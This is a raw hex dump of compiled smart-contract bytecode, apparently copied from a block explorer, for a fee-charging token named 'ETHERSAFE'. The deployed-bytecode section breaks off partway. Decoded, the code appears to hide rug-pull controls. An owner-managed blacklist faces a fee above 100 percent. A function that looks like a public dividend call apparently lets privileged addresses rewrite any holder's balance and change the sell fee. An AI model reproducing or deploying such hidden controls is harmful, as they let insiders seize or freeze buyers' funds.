fffff1660e01b8152600401602060405180830381865afa15801562000285573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ab919062000683565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031f919062000683565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a1565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000509578160001904821115620004ed57620004ed620004b2565b80851615620004fb57918102915b93841c9390800290620004cd565b509250929050565b6000826200052257506001620005c1565b816200053157506000620005c1565b81600181146200054a5760028114620005555762000575565b6001915050620005c1565b60ff841115620005695762000569620004b2565b50506001821b620005c1565b5060208310610133831016604e8410600b84101617156200059a575081810a620005c1565b620005a68383620004c8565b8060001904821115620005bd57620005bd620004b2565b0290505b92915050565b6000620005d860ff84168362000511565b9392505050565b8082028115828204841417620005c157620005c1620004b2565b6000826200061757634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200063457600080fd5b919050565b6000806000606084860312156200064f57600080fd5b6200065a846200061c565b92506200066a602085016200061c565b91506200067a604085016200061c565b90509250925092565b6000602082840312156200069657600080fd5b620005d8826200061c565b612dc980620006b16000396000f3fe6080604052600436106102555760003560e01c8063893d20e811610139578063ca89b899116100b6578063e2d6f94c1161007a578063e2d6f94c1461079b578063eb7448a5146107bb578063ef43b02b146107db578063efca2eed146107fb578063f2fde38b14610811578063ffd49c841461083157600080fd5b8063ca89b89914610678578063cc25596f146106b1578063ce7c2ac2146106de578063d9d5a89b14610735578063dd62ed3e1461075557600080fd5b8063a1db9782116100fd578063a1db9782146105e9578063a8aa1b3114610609578063a9059cbb14610629578063ba3acf8b14610649578063c876d0b91461065e57600080fd5b8063893d20e81461053a5780638c41180e146105585780639358928b1461057857806395d89b411461058d578063997664d7146105d357600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a45780635f7bcd70146104ba57806360e71962146104da57806370a08231146104f0578063715018a614610510578063751039fc1461052557600080fd5b80633a98ef39146103ee5780633f4218e014610404578063420bbf20146104345780634355855a1461045457806348ff2b8b1461048457600080fd5b8063293230b811610219578063293230b81461034c5780632f54bf6e14610363578063313ce5671461039257806334c5d2ce146103ae57806336afc425146103ce57600080fd5b806306fdde0314610261578063095ea7b3146102a557806318160ddd146102d5578063228cb733146102f457806323b872dd1461032c57600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201909152600981526845544845525341464560b81b60208201525b60405161029c919061293a565b60405180910390f35b3480156102b157600080fd5b506102c56102c0366004612982565b610847565b604051901515815260200161029c565b3480156102e157600080fd5b506001545b60405190815260200161029c565b34801561030057600080fd5b50601a54610314906001600160a01b031681565b6040516001600160a01b03909116815260200161029c565b34801561033857600080fd5b506102c56103473660046129ae565b61085e565b34801561035857600080fd5b506103616108c8565b005b34801561036f57600080fd5b506102c561037e3660046129ef565b6000546001600160a01b0391821691161490565b34801561039e57600080fd5b506040516009815260200161029c565b3480156103ba57600080fd5b506103616103c9366004612a0c565b610910565b3480156103da57600080fd5b506103616103e9366004612a0c565b610a64565b3480156103fa57600080fd5b506102e6601b5481565b34801561041057600080fd5b506102c561041f3660046129ef565b60076020526000908152604090205460ff1681565b34801561044057600080fd5b50602854610314906001600160a01b031681565b34801561046057600080fd5b506102c561046f3660046129ef565b60086020526000908152604090205460ff1681565b34801561049057600080fd5b5061036161049f366004612a46565b610a9c565b3480156104b057600080fd5b506102e660265481565b3480156104c657600080fd5b50602954610314906001600160a01b031681565b3480156104e657600080fd5b506102e660275481565b3480156104fc57600080fd5b506102e661050b3660046129ef565b610af1565b34801561051c57600080fd5b50610361610b0c565b34801561053157600080fd5b50610361610b7b565b34801561054657600080fd5b506000546001600160a01b0316610314565b34801561056457600080fd5b50610361610573366004612a46565b610bc3565b34801561058457600080fd5b506102e6610c9f565b34801561059957600080fd5b5060408051808201909152601b81527fe292bae29389e292bde292bae29387e29388e292b6e292bbe292ba0000000000602082015261028f565b3480156105df57600080fd5b506102e6601c5481565b3480156105f557600080fd5b50610361610604366004612982565b610cd0565b34801561061557600080fd5b50600d54610314906001600160a01b031681565b34801561063557600080fd5b506102c5610644366004612982565b610d4c565b34801561065557600080fd5b50610361610d59565b34801561066a57600080fd5b50600c546102c59060ff1681565b34801561068457600080fd5b506102e66106933660046129ef565b6001600160a01b031660009081526023602052604090206002015490565b3480156106bd57600080fd5b506102e66106cc3660046129ef565b600b6020526000908152604090205481565b3480156106ea57600080fd5b5061071a6106f93660046129ef565b60236020526000908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161029c565b34801561074157600080fd5b506102e66107503660046129ef565b610d64565b34801561076157600080fd5b506102e6610770366004612a7f565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107a757600080fd5b506103616107b6366004612aad565b610def565b3480156107c757600080fd5b506103616107d6366004612b02565b610ef5565b3480156107e757600080fd5b506103616107f6366004612a46565b611165565b34801561080757600080fd5b506102e6601d5481565b34801561081d57600080fd5b5061036161082c3660046129ef565b6111dd565b34801561083d57600080fd5b506102e660255481565b600061085433848461125b565b5060015b92915050565b600061086b84848461137f565b6108bd84336108b885604051806060016040528060288152602001612d6c602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061151e565b61125b565b5060015b9392505050565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016108f290612b3f565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b81526004016108f290612b3f565b60006127108461094960015490565b6109539190612b75565b61095d9190612b8c565b905060006127108461096e60015490565b6109789190612b75565b6109829190612b8c565b905060006127108461099360015490565b61099d9190612b75565b6109a79190612b8c565b600284905560038390556004819055905060006109da6103e86109d460056109ce60015490565b9061154a565b90611556565b90508084101580156109ec5750808310155b80156109f85750808210155b610a5b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108f2565b50505050505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b81526004016108f290612b3f565b602592909255602655602755565b6000546001600160a01b03163314610ac65760405162461bcd60e51b81526004016108f290612b3f565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b365760405162461bcd60e51b81526004016108f290612b3f565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610ba55760405162461bcd60e51b81526004016108f290612b3f565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610bed5760405162461bcd60e51b81526004016108f290612b3f565b600d546001600160a01b03838116911614801590610c1e5750600c546001600160a01b038381166101009092041614155b8015610c3357506001600160a01b0382163014155b610c745760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108f2565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610ccb610cae6000610af1565b610cc5610cbc61dead610af1565b60015490611562565b90611562565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d479190612bae565b505050565b600061085433848461137f565b610d623361156e565b565b6001600160a01b0381166000908152602360205260408120548103610d8b57506000919050565b6001600160a01b038216600090815260236020526040812054610dad906116a8565b6001600160a01b038416600090815260236020526040902060010154909150808211610ddd575060009392505050565b610de78282611562565b949350505050565b6000546001600160a01b03163314610e195760405162461bcd60e51b81526004016108f290612b3f565b600e889055600f879055601286905560108590556011849055601383905560148290556015819055601654610e4f906005611556565b60135411158015610e6f5750601654610e69906005611556565b60145411155b8015610e8a5750601654610e84906005611556565b60155411155b610eeb5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108f2565b5050505050505050565b6014819055602054336000829003610f0e57505061115f565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff1661100c575b8984108015610f4857508582105b15611007578560245410610f5c5760006024555b610f8e602060245481548110610f7457610f74612bcb565b6000918252602090912001546001600160a01b03166116c5565b15610fc557610fc5602060245481548110610fab57610fab612bcb565b6000918252602090912001546001600160a01b031661156e565b610fda610fd35a8590611562565b859061170a565b93505a602480549194506000610fef83612be1565b91905055508180610fff90612be1565b925050610f3a565b611158565b600061101786610d64565b6001600160a01b038b1660009081526005602052604090208a9055905061103e8983612bfa565b33600090815260056020526040902055801561115657601d54611061908261170a565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af11580156110b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110db9190612bae565b506001600160a01b0386166000908152602260209081526040808320429055602390915290206002015461110f908261170a565b6001600160a01b0387166000908152602360205260409020600281019190915554611139906116a8565b6001600160a01b0387166000908152602360205260409020600101555b505b5050505050505b50505050565b6000546001600160a01b0316331461118f5760405162461bcd60e51b81526004016108f290612b3f565b6001600160a01b0382166000908152600860205260409020805460ff191682158015919091179091556111cb576111c7826000611716565b5050565b6111c7826111d884610af1565b611716565b6000546001600160a01b031633146112075760405162461bcd60e51b81526004016108f290612b3f565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108f2565b6001600160a01b03821661131e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108f2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61138a83838361182c565b61139483836119c6565b61139d82611a57565b6113a8838383611bc6565b6113b3838383611cb2565b6113bd8383611ddf565b6001600160a01b0383166000908152600560205260409020546113e09082611562565b6001600160a01b0384166000908152600560205260408120919091556114068484611dfa565b611410578161141b565b61141b848484611e40565b6001600160a01b038416600090815260056020526040902054909150611441908261170a565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114959085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff166114ca576114ca846111d886610af1565b6001600160a01b03831660009081526008602052604090205460ff166114f7576114f7836111d885610af1565b6001600160a01b0383166000908152602360205260409020541561115f5761115f8361156e565b600081848411156115425760405162461bcd60e51b81526004016108f2919061293a565b505050900390565b60006108c18284612b75565b60006108c18284612b8c565b60006108c18284612c0d565b6001600160a01b03811660009081526023602052604081205490036115905750565b600061159b82610d64565b905080156111c757601d546115b0908261170a565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015611606573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162a9190612bae565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461165e908261170a565b6001600160a01b0383166000908152602360205260409020600281019190915554611688906116a8565b6001600160a01b0383166000908152602360205260409020600101555050565b6000610858601f546109d4601e548561154a90919063ffffffff16565b6025546001600160a01b038216600090815260226020526040812054909142916116ef9190612bfa565b108015610858575060265461170383610d64565b1192915050565b60006108c18284612bfa565b60008111801561173c57506001600160a01b038216600090815260236020526040902054155b156117a157602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556117d4565b801580156117c657506001600160a01b03821660009081526023602052604090205415155b156117d4576117d482611f2e565b6001600160a01b038216600090815260236020526040902054601b546118059183916117ff91611562565b9061170a565b601b556001600160a01b0382166000908152602360205260409020819055611688816116a8565b6001600160a01b0383166118905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108f2565b6001600160a01b0382166118f25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108f2565b600081116119545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108f2565b61195d83610af1565b811115610d475760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108f2565b6001600160a01b03821660009081526007602052604090205460ff16158015611a0857506001600160a01b03811660009081526007602052604090205460ff16155b156111c757600d54600160a01b900460ff166111c75760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108f2565b600c546001600160a01b038281166101009092041614801590611a885750600d546001600160a01b03828116911614155b8015611a965750600c5460ff165b15611b7357611aa6600243612c0d565b326000908152600a6020526040902054108015611ae45750611ac9600243612c0d565b6001600160a01b0382166000908152600a6020526040902054105b611b4e5760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108f2565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611bc3576001600160a01b0381166000908152600b60205260408120549003611bc3576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611c0857506001600160a01b03821660009081526007602052604090205460ff16155b8015611c225750600d546001600160a01b03838116911614155b8015611c3957506001600160a01b03821661dead14155b15610d47576004546001600160a01b038316600090815260056020526040902054611c64908361170a565b1115610d475760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108f2565b600d546001600160a01b03848116911614611d535760035481111580611cf057506001600160a01b03831660009081526007602052604090205460ff165b80611d1357506001600160a01b03821660009081526007602052604090205460ff165b611d535760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108f2565b60025481111580611d7c57506001600160a01b03831660009081526007602052604090205460ff165b80611d9f57506001600160a01b03821660009081526007602052604090205460ff165b610d475760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108f2565b611de98282612042565b156111c7576111c7601854836120f6565b6001600160a01b03821660009081526007602052604081205460ff161580156108c15750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611e4d8585612299565b1115611f27576000611e70611e628686612299565b6016546109ce908690611556565b30600090815260056020526040902054909150611e8d908261170a565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ede9085815260200190565b60405180910390a360125415611f1557611f153061dead611f106012546109ce6016548961155690919063ffffffff16565b61137f565b611f1f8382611562565b9150506108c1565b5092915050565b60208054611f3e90600190612c0d565b81548110611f4e57611f4e612bcb565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f8857611f88612bcb565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611fd390600190612c0d565b81548110611fe357611fe3612bcb565b60009182526020808320909101546001600160a01b0316835282810193909352604090910190209190915580548061201d5761201d612c20565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461205130610af1565b6017549111159150610100900460ff16158015612070575060175460ff165b80156120855750600d54600160a01b900460ff165b80156120aa57506001600160a01b03841660009081526007602052604090205460ff16155b80156120cf57506001600160a01b03831660009081526007602052604090205460ff16155b80156120e85750600d546001600160a01b038481169116145b8015610de757509392505050565b6017805461ff001916610100179055601054601154600f54600e5460009361212f936002936109ce936117ff929183918290600161170a565b9050600061214c826109d4600e548761154a90919063ffffffff16565b9050600061215a8583611562565b9050476121668261233a565b60006121724783611562565b9050600061219561218e600e548861156290919063ffffffff16565b8390611556565b905060006121ae600e548361154a90919063ffffffff16565b905080156121c0576121c086826124b7565b600f546000906121d5906109ce85600261154a565b90508015612219576029546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612217573d6000803e3d6000fd5b505b60105460009061222e906109ce86600261154a565b9050801561224057612240818b612575565b4715612281576028546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561227f573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff16806122d857506001600160a01b03821660009081526009602052604090205460ff165b156122f2576016546122eb906064611562565b9050610858565b600d546001600160a01b03908116908316036123115750601454610858565b600d546001600160a01b03908116908416036123305750601354610858565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061236f5761236f612bcb565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124069190612c36565b8160018151811061241957612419612bcb565b6001600160a01b039283166020918202929092010152600c546124449130916101009004168461125b565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790612481908590600090869030904290600401612c97565b600060405180830381600087803b15801561249b57600080fd5b505af11580156124af573d6000803e3d6000fd5b505050505050565b600c546124d490309061010090046001600160a01b03168461125b565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af1158015612549573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061256e9190612cd3565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156125be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125e29190612d01565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561265b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061267f9190612c36565b8160008151811061269257612692612bcb565b6001600160a01b039283166020918202929092010152601a548251911690829060019081106126c3576126c3612bcb565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de9590869061271090600090869030904290600401612d1a565b6000604051808303818588803b15801561272957600080fd5b505af115801561273d573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa15801561278d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127b19190612d01565b905060006127bf8285611562565b601c549091506127cf908261170a565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a5492519092600092169061284f908490612d4f565b6000604051808303816000865af19150503d806000811461288c576040519150601f19603f3d011682016040523d82523d6000602084013e612891565b606091505b50509050806128e25760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108f2565b612909612900601b546109d486601f5461154a90919063ffffffff16565b601e549061170a565b601e555050505050505050565b60005b83811015612931578181015183820152602001612919565b50506000910152565b6020815260008251806020840152612959816040850160208701612916565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611bc357600080fd5b6000806040838503121561299557600080fd5b82356129a08161296d565b946020939093013593505050565b6000806000606084860312156129c357600080fd5b83356129ce8161296d565b925060208401356129de8161296d565b929592945050506040919091013590565b600060208284031215612a0157600080fd5b81356108c18161296d565b600080600060608486031215612a2157600080fd5b505081359360208301359350604090920135919050565b8015158114611bc357600080fd5b60008060408385031215612a5957600080fd5b8235612a648161296d565b91506020830135612a7481612a38565b809150509250929050565b60008060408385031215612a9257600080fd5b8235612a9d8161296d565b91506020830135612a748161296d565b600080600080600080600080610100898b031215612aca57600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60008060008060808587031215612b1857600080fd5b843593506020850135612b2a8161296d565b93969395505050506040820135916060013590565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761085857610858612b5f565b600082612ba957634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612bc057600080fd5b81516108c181612a38565b634e487b7160e01b600052603260045260246000fd5b600060018201612bf357612bf3612b5f565b5060010190565b8082018082111561085857610858612b5f565b8181038181111561085857610858612b5f565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612c4857600080fd5b81516108c18161296d565b600081518084526020808501945080840160005b83811015612c8c5781516001600160a01b031687529582019590820190600101612c67565b509495945050505050565b85815284602082015260a060408201526000612cb660a0830186612c53565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612ce857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612d1357600080fd5b5051919050565b848152608060208201526000612d336080830186612c53565b6001600160a01b03949094166040830152506060015292915050565b60008251612d61818460208701612916565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075f8eb13b80b05676b20ae3f1ceffb646fae9219f26145912c25812d10e0cd3964736f6c634300081300330000000000000000000000000b9ccdd3ff0578d9b00c6879fd9e158efbb2a6820000000000000000000000000b9ccdd3ff0578d9b00c6879fd9e158efbb2a6820000000000000000000000000b9ccdd3ff0578d9b00c6879fd9e158efbb2a682
Deployed Bytecode
0x6080604052600436106102555760003560e01c8063893d20e811610139578063ca89b899116100b6578063e2d6f94c1161007a578063e2d6f94c1461079b578063eb7448a5146107bb578063ef43b02b146107db578063efca2eed146107fb578063f2fde38b14610811578063ffd49c841461083157600080fd5b8063ca89b89914610678578063cc25596f146106b1578063ce7c2ac2146106de578063d9d5a89b14610735578063dd62ed3e1461075557600080fd5b8063a1db9782116100fd578063a1db9782146105e9578063a8aa1b3114610609578063a9059cbb14610629578063ba3acf8b14610649578063c876d0b91461065e57600080fd5b8063893d20e81461053a5780638c41180e146105585780639358928b1461057857806395d89b411461058d578063997664d7146105d357600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a45780635f7bcd70146104ba57806360e71962146104da57806370a08231146104f0578063715018a614610510578063751039fc1461052557600080fd5b80633a98ef39146103ee5780633f4218e014610404578063420bbf20146104345780634355855a1461045457806348ff2b8b1461048457600080fd5b8063293230b811610219578063293230b81461034c5780632f54bf6e14610363578063313ce5671461039257806334c5d2ce146103ae57806336afc425146103ce57600080fd5b806306fdde0314610261578063095ea7b3146102a557806318160ddd146102d5578063228cb733146102f457806323b872dd1461032c57600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201909152600981526845544845525341464560b81b60208201525b60405161029c919061293a565b60405180910390f35b3480156102b157600080fd5b506102c56102c0366004612982565b610847565b604051901515815260200161029c565b3480156102e157600080fd5b506001545b60405190815260200161029c565b34801561030057600080fd5b50601a54610314906001600160a01b031681565b6040516001600160a01b03909116815260200161029c565b34801561033857600080fd5b506102c56103473660046129ae565b61085e565b34801561035857600080fd5b506103616108c8565b005b34801561036f57600080fd5b506102c561037e3660046129ef565b6000546001600160a01b0391821691161490565b34801561039e57600080fd5b506040516009815260200161029c565b3480156103ba57600080fd5b506103616103c9366004612a0c565b610910565b3480156103da57600080fd5b506103616103e9366004612a0c565b610a64565b3480156103fa57600080fd5b506102e6601b5481565b34801561041057600080fd5b506102c561041f3660046129ef565b60076020526000908152604090205460ff1681565b34801561044057600080fd5b50602854610314906001600160a01b031681565b34801561046057600080fd5b506102c561046f3660046129ef565b60086020526000908152604090205460ff1681565b34801561049057600080fd5b5061036161049f366004612a46565b610a9c565b3480156104b057600080fd5b506102e660265481565b3480156104c657600080fd5b50602954610314906001600160a01b031681565b3480156104e657600080fd5b506102e660275481565b3480156104fc57600080fd5b506102e661050b3660046129ef565b610af1565b34801561051c57600080fd5b50610361610b0c565b34801561053157600080fd5b50610361610b7b565b34801561054657600080fd5b506000546001600160a01b0316610314565b34801561056457600080fd5b50610361610573366004612a46565b610bc3565b34801561058457600080fd5b506102e6610c9f565b34801561059957600080fd5b5060408051808201909152601b81527fe292bae29389e292bde292bae29387e29388e292b6e292bbe292ba0000000000602082015261028f565b3480156105df57600080fd5b506102e6601c5481565b3480156105f557600080fd5b50610361610604366004612982565b610cd0565b34801561061557600080fd5b50600d54610314906001600160a01b031681565b34801561063557600080fd5b506102c5610644366004612982565b610d4c565b34801561065557600080fd5b50610361610d59565b34801561066a57600080fd5b50600c546102c59060ff1681565b34801561068457600080fd5b506102e66106933660046129ef565b6001600160a01b031660009081526023602052604090206002015490565b3480156106bd57600080fd5b506102e66106cc3660046129ef565b600b6020526000908152604090205481565b3480156106ea57600080fd5b5061071a6106f93660046129ef565b60236020526000908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161029c565b34801561074157600080fd5b506102e66107503660046129ef565b610d64565b34801561076157600080fd5b506102e6610770366004612a7f565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107a757600080fd5b506103616107b6366004612aad565b610def565b3480156107c757600080fd5b506103616107d6366004612b02565b610ef5565b3480156107e757600080fd5b506103616107f6366004612a46565b611165565b34801561080757600080fd5b506102e6601d5481565b34801561081d57600080fd5b5061036161082c3660046129ef565b6111dd565b34801561083d57600080fd5b506102e660255481565b600061085433848461125b565b5060015b92915050565b600061086b84848461137f565b6108bd84336108b885604051806060016040528060288152602001612d6c602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061151e565b61125b565b5060015b9392505050565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016108f290612b3f565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b81526004016108f290612b3f565b60006127108461094960015490565b6109539190612b75565b61095d9190612b8c565b905060006127108461096e60015490565b6109789190612b75565b6109829190612b8c565b905060006127108461099360015490565b61099d9190612b75565b6109a79190612b8c565b600284905560038390556004819055905060006109da6103e86109d460056109ce60015490565b9061154a565b90611556565b90508084101580156109ec5750808310155b80156109f85750808210155b610a5b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108f2565b50505050505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b81526004016108f290612b3f565b602592909255602655602755565b6000546001600160a01b03163314610ac65760405162461bcd60e51b81526004016108f290612b3f565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b365760405162461bcd60e51b81526004016108f290612b3f565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610ba55760405162461bcd60e51b81526004016108f290612b3f565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610bed5760405162461bcd60e51b81526004016108f290612b3f565b600d546001600160a01b03838116911614801590610c1e5750600c546001600160a01b038381166101009092041614155b8015610c3357506001600160a01b0382163014155b610c745760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108f2565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610ccb610cae6000610af1565b610cc5610cbc61dead610af1565b60015490611562565b90611562565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d479190612bae565b505050565b600061085433848461137f565b610d623361156e565b565b6001600160a01b0381166000908152602360205260408120548103610d8b57506000919050565b6001600160a01b038216600090815260236020526040812054610dad906116a8565b6001600160a01b038416600090815260236020526040902060010154909150808211610ddd575060009392505050565b610de78282611562565b949350505050565b6000546001600160a01b03163314610e195760405162461bcd60e51b81526004016108f290612b3f565b600e889055600f879055601286905560108590556011849055601383905560148290556015819055601654610e4f906005611556565b60135411158015610e6f5750601654610e69906005611556565b60145411155b8015610e8a5750601654610e84906005611556565b60155411155b610eeb5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108f2565b5050505050505050565b6014819055602054336000829003610f0e57505061115f565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff1661100c575b8984108015610f4857508582105b15611007578560245410610f5c5760006024555b610f8e602060245481548110610f7457610f74612bcb565b6000918252602090912001546001600160a01b03166116c5565b15610fc557610fc5602060245481548110610fab57610fab612bcb565b6000918252602090912001546001600160a01b031661156e565b610fda610fd35a8590611562565b859061170a565b93505a602480549194506000610fef83612be1565b91905055508180610f